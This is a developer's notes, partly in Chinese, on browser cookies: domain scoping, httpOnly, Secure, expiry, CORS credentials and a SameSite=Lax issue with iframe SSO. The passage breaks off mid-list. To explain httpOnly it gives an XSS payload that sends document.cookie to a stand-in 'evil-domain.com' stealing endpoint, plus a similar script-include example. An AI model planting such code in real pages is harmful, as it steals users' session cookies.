### server crm.dongfangfuli.com
// all the request to *.dongfangfuli.com will send this cookie
setCookie('token=dylan;domain=.dongfangfuli.com')
// only send when domain is crm.dongfangfuli.com
setCookie('token=dylan')
setCookie('token=dylan;domain=crm.dongfangfuli.com')
httpOnly
只允许http请求获取Cookie,禁止JS脚本获取Cookie。
// 解决 XSS跨站脚本攻击的手段之一
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
// or
<script src='csfr.com/a.js'/>
// csfr.com/a.js
function fetchUserInfo() {
sendCookie(document.cookie, location.origin)
}
### http || https
Access-Control-Allow-Origin: <Origin>
Access-Control-Allow-Credentials: true
### if you have two header `Access-Control-Allow-Credential: true`
### it make reponse behaviour like `Access-Control-Allow-Credential: true, true`
### umi request
{
// 'credentials' indicates whether the user agent should send cookies from the other domain in the case of cross-origin requests.
// omit: Never send or receive cookies.
// same-origin: Send user credentials (cookies, basic http auth, etc..) if the URL is on the same origin as the calling script. This is the default value.
// include: Always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls.
credentials: 'include', // default
}
最近处理公司项目业务中遇到用iframe嵌套多个系统的需求。折腾一番
sso 302
重定向一直不行,反复定位确认了是chrome高版cookie SameSite
策略由None
变更为Lax
。网络请求面板中Response Header --- Set-Cookie
会出现一个⚠️的block提示,大概含义是: set cookie被阻断了,因为浏览器SameSite策略默认是Lax,如果需要设置跨站Cookie,SameSite值一定要是None
正好梳理下
Cookie
的知识Cookie是啥
http
是超文本协议,这个一个无状态协议,为了保持会话状态,规范推出了Cookie
的用于维持会话状态,随着时代的发展也常用于个性化定制、用户行为分析等场景。Cookie
是一个请求首部,其中含有先前由服务器通过Set-Cookie
首部投放并存储到客户端的HTTP cookies
。如果需要设置多个cookie
可以在Response Headers
中设置多个Set-Cookie
。Cookie
可以通过Chrome --> Application --> Storage --> Cookies
查看.Cookie的组成
Cookie
是一个序列化的字符,包含以下字段:domain
储存这个
Cookie
对应的域名信息,domain
是从右往左阅读,结构如下:值得注意域名设置
cookie
可以从下往上,不能从上往下,且无关请求协议httpOnly
只允许http请求获取
Cookie
,禁止JS脚本获取Cookie
。Secure
类似
httpsOnly
的作用同时也是设置SameSite=none
前置条件expires / Max-age
失效时间,
expires
代表失效日期,Max-age
代表持续时间,两个都是以浏览器时间为准。Max-age
的优先级高于expires
,跟http-caching
的行为表现相似。session
作为一个session cookie
SameSite
SameSite Cookie
允许服务器要求某个 cookie 在跨站请求时不会被发送,一定程度上可以阻止跨站请求伪造攻击(CSRF)。 它有三个值: